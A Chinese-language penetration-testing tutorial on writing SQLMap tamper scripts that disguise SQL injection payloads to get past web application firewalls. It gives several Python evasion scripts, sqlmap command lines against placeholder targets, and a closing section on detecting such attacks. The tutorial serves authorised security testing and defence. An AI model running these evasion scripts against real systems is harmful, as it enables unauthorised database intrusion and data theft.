1. SQLMap Tamper脚本与WAF攻防基础
在渗透测试领域,SQL注入始终是最常见的高危漏洞之一。作为自动化SQL注入工具的代表,SQLMap虽然功能强大,但在实际应用中经常会遭遇Web应用防火墙(WAF)的拦截。Tamper脚本正是SQLMap为应对这种情况设计的灵活解决方案。
Tamper脚本本质上是一个Python编写的字符串处理模块,它能够在SQLMap生成原始Payload之后、发送请求之前,对Payload进行自定义的编码或变形处理。这种机制使得安全研究人员能够针对特定WAF的过滤规则,定制化地绕过检测。
WAF的工作原理通常基于规则匹配,常见的检测手段包括:
- 关键词过滤(如SELECT、UNION、FROM等)
- 特殊字符检测(单引号、注释符、等号等)
- 语句结构分析(如函数调用、子查询等)
- 请求频率监控(防止暴力破解)
2. Tamper脚本开发环境准备
2.1 基础工具安装
要开发有效的Tamper脚本,首先需要搭建合适的工作环境:
- SQLMap安装:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version- Python环境: 建议使用Python 3.6+版本,并安装以下常用库:
pip install requests chardet urllib3- 调试工具:
- Burp Suite:用于拦截和修改HTTP请求
- Wireshark:网络流量分析
- 目标WAF的测试环境(如长亭雷池WAF的演示版)
2.2 Tamper脚本目录结构
SQLMap的Tamper脚本存放在/tamper/目录下。新建脚本时,建议先研究现有脚本的编写模式。典型结构如下:
sqlmap/ ├── tamper/ │ ├── __init__.py │ ├── apostrophemask.py │ ├── base64encode.py │ └── your_script.py3. Tamper脚本核心开发技术
3.1 脚本基础框架
每个Tamper脚本必须包含以下基本元素:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL # 设置脚本优先级 def dependencies(): pass # 声明依赖关系 def tamper(payload, **kwargs): """ 核心处理函数 :param payload: 原始SQL注入Payload :return: 处理后的Payload """ # 处理逻辑在这里实现 return payload3.2 常见绕过技术实现
3.2.1 空白符处理技术
WAF通常会对常规空格(0x20)进行严格检测,可以采用以下替代方案:
def tamper(payload, **kwargs): # 用注释符替代空格 payload = payload.replace(" ", "/**/") # 或用URL编码 payload = payload.replace(" ", "%0A") # 双重编码方案 payload = payload.replace(" ", "%2520") return payload3.2.2 关键词混淆技术
def tamper(payload, **kwargs): # 大小写随机化 import random keywords = ["select", "union", "from", "where"] for kw in keywords: if kw in payload.lower(): variant = ''.join(random.choice([c.upper(), c.lower()]) for c in kw) payload = payload.replace(kw, variant) # 十六进制编码 payload = payload.replace("SELECT", "SELEC\x54") return payload3.2.3 注释符技巧
def tamper(payload, **kwargs): # 替换注释符 payload = payload.replace("--", "#") # 添加干扰注释 payload = payload.replace("UNION", "UNION/*random123*/") return payload3.3 高级绕过技术
3.3.1 分块传输编码
def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["Transfer-Encoding"] = "chunked" return payload3.3.2 HTTP参数污染
def tamper(payload, **kwargs): # 添加重复参数 if "id=1" in payload: payload = payload.replace("id=1", "id=1&id=2") return payload4. 实战:针对特定WAF的Tamper开发
4.1 WAF指纹识别
在编写针对性Tamper前,需要先识别目标WAF类型:
python sqlmap.py -u "http://target.com" --identify-waf --batch4.2 手动测试绕过规则
通过手动测试发现某WAF的过滤规则:
- 拦截
FROM[空格]组合 - 过滤
CONCAT()函数 - 检测等号后跟括号的情况
- 限制请求频率
4.3 完整Tamper脚本实现
#!/usr/bin/env python from lib.core.enums import PRIORITY import urllib.parse __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): # 处理FROM空格 payload = payload.replace("FROM ", "FROM%0A") # 处理CONCAT函数 payload = payload.replace("CONCAT(", "CONCAT_WS('',") # 处理等号括号 payload = payload.replace("=(", "<>(") # URL双重编码关键字符 special_chars = [" ", "'", "\"", "="] for char in special_chars: encoded = urllib.parse.quote(urllib.parse.quote(char)) payload = payload.replace(char, encoded) return payload4.4 脚本测试与优化
使用以下命令测试Tamper效果:
python sqlmap.py -u "http://target.com?id=1" \ --tamper=your_script.py \ --dbms=mssql \ --threads=2 \ --delay=0.5 \ -v 3观察-v 3输出的实际Payload,根据WAF响应调整脚本逻辑。
5. Tamper脚本高级技巧与调试
5.1 动态优先级调整
__priority__ = PRIORITY.LOW def dependencies(): from lib.core.settings import WAF_ATTACK_VECTORS if any("chinese" in waf for waf in WAF_ATTACK_VECTORS): __priority__ = PRIORITY.HIGH5.2 多阶段Payload处理
def tamper(payload, **kwargs): # 第一阶段:基础变形 payload = payload.lower() # 第二阶段:针对特定数据库处理 if kwargs.get("dbms") == "MySQL": payload = payload.replace("version()", "@@version") # 第三阶段:最终编码 return urllib.parse.quote(payload)5.3 调试技巧
- 使用
--proxy=http://127.0.0.1:8080通过Burp Suite观察请求 - 在Tamper脚本中添加调试输出:
print(f"[DEBUG] Original: {payload}")- 使用
-t /tmp/sqlmap.log记录详细日志
6. 企业级WAF对抗实战
6.1 云WAF特性分析
主流云WAF(如阿里云、腾讯云)的常见特点:
- 基于机器学习的语义分析
- 行为模式检测
- IP信誉系统
- 人机验证挑战
6.2 高级绕过策略
def tamper(payload, **kwargs): # 时间延迟混淆 payload = payload.replace("AND 1=1", "AND 1=IF(1=1,SLEEP(0.1),0)") # 分段注入 if len(payload) > 100: payload = "/*start*/" + payload[:50] + "/*mid*/" + payload[50:] + "/*end*/" # 添加无害参数 payload += "&__token__=random" return payload6.3 自动化测试框架集成
将Tamper脚本与自动化测试框架结合:
import subprocess def test_tamper(tamper_script, target_url): cmd = [ "python", "sqlmap.py", "-u", target_url, "--tamper", tamper_script, "--batch", "--dbs" ] result = subprocess.run(cmd, capture_output=True, text=True) return "retrieved" in result.stdout7. 防御视角:如何检测Tamper攻击
作为防御方,识别Tamper攻击的特征:
- 异常编码模式(如双重URL编码)
- 非常规空白符使用
- SQL关键词的异常变体
- 请求参数的结构异常
- 请求时序特征(如固定延迟)
防御建议:
- 实施多层防御(网络层+应用层)
- 定期更新WAF规则
- 监控异常请求模式
- 使用RASP技术进行运行时防护
在实际渗透测试工作中,Tamper脚本的开发需要遵守法律法规,仅用于授权测试。每款WAF都有其独特的防御机制,成功的绕过需要基于对目标WAF规则的精确分析和反复测试。建议维护一个Tamper脚本库,针对不同场景快速切换使用。